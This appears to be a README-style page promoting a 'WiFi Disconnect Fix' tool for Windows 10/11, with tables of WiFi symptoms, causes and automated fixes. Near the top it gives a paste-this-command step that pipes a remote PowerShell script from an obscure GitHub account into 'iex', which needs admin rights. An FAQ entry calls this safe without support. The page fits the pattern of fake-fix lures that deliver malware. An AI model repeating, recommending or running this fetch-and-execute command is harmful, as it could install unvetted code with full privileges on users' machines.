Fix WiFi keeps disconnecting, dropping out, and losing connection on Windows 10/11.
Alternative: PowerShell
irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iexYour WiFi keeps disconnecting. Every few minutes, the connection drops, you get the yellow triangle, and you have to reconnect. Or worse — WiFi connects but says "No Internet" even though the router is fine.
"WiFi keeps disconnecting every few minutes"
"Connected, no internet" on WiFi
"WiFi drops when laptop goes to sleep and won't reconnect"
"WiFi disconnects when downloading large files"
WiFi works on phone but not on PC
WiFi Disconnect Fix identifies and repairs the root cause automatically.
| Problem | Cause | Fix |
|---|---|---|
| WiFi drops every 5-10 minutes | Power management turning off adapter | Disables WiFi power saving completely |
| WiFi disconnects randomly | Driver instability | Updates or rolls back WiFi driver |
| WiFi drops under heavy load (gaming, downloads) | Roaming aggressiveness too high | Locks WiFi to strongest AP, disables roaming |
| WiFi disconnects after sleep/hibernate | Adapter doesn't wake properly | Disables WiFi power management, fixes wake |
| WiFi drops when Bluetooth is active | WiFi/BT coexistence interference | Disables BT coexistence, separates antennas |
| Disconnects after Windows Update | Update installed bad WiFi driver | Rolls back driver to previous version |
| Problem | Cause | Fix |
|---|---|---|
| "Connected, no internet" | DNS not resolving | Flushes DNS, switches to Google/Cloudflare DNS |
| "No internet, secured" | DHCP lease expired | Forces DHCP renewal, resets TCP/IP stack |
| WiFi shows connected but pages don't load | Corrupted Winsock catalog | Resets Winsock and TCP/IP |
| Limited connectivity | IP conflict or wrong gateway | Releases and renews IP, fixes gateway |
| Works after restart but breaks again in hours | DNS cache corruption | Schedules periodic DNS flush |
| Problem | Fix |
|---|---|
| "Can't connect to this network" | Forgets network, resets adapter, reconnects |
| "Unidentified Network" | Resets TCP/IP, renews DHCP, fixes gateway |
| "No Internet Access" | Flushes DNS, resets Winsock, sets public DNS |
| "Limited access" | Renews IP, resets network components |
| "The default gateway is not available" | Reinstalls network adapter, resets gateway |
| "DNS server not responding" | Switches DNS to 8.8.8.8 / 1.1.1.1 |
| "Network cable unplugged" (on WiFi) | Resets adapter, reinstalls driver |
| Problem | Fix |
|---|---|
| WiFi option missing from Settings | Re-enables WiFi adapter in Device Manager |
| No WiFi networks found | Resets WLAN AutoConfig service, rescans |
| WiFi adapter shows "This device cannot start (Code 10)" | Reinstalls adapter driver |
| WiFi adapter has yellow triangle in Device Manager | Removes and reinstalls driver cleanly |
| Airplane mode stuck | Resets radio management service |

WiFi drops when gaming online High bandwidth usage combined with roaming aggressiveness causes the adapter to "look for better networks" mid-game. The tool locks your adapter to the current network.
Laptop WiFi disconnects after closing lid Power management puts the WiFi adapter to sleep. Even after waking, it doesn't reconnect properly. The tool disables adapter power saving.
WiFi works on phone but not on PC The router is fine. Your PC's network stack (Winsock/TCP/IP) is corrupted. The tool resets it completely.
"Connected, no internet" on one PC but others work fine DNS or DHCP issue specific to your PC. The tool flushes DNS, renews IP, and sets reliable DNS servers.
| OS | Windows 10 / 11 (64-bit) |

| Admin | Yes |
| Network | Works even with broken WiFi (fixes offline issues too) |
Will this fix my slow WiFi speed? If slow speed is caused by driver issues or wrong adapter settings, yes. If it's your internet plan or router, no.
Do I need to know my WiFi adapter model? No. The tool auto-detects your adapter and applies the correct fixes.
Will it reset my saved WiFi passwords? No. Network stack reset does not affect saved WiFi profiles.
Is it safe? Yes. All changes are standard Windows network settings and PowerShell commands. Nothing is patched.
WiFi drops only on 5GHz, works on 2.4GHz. The tool adjusts 5GHz channel width and preferred band settings to stabilize 5GHz connections.
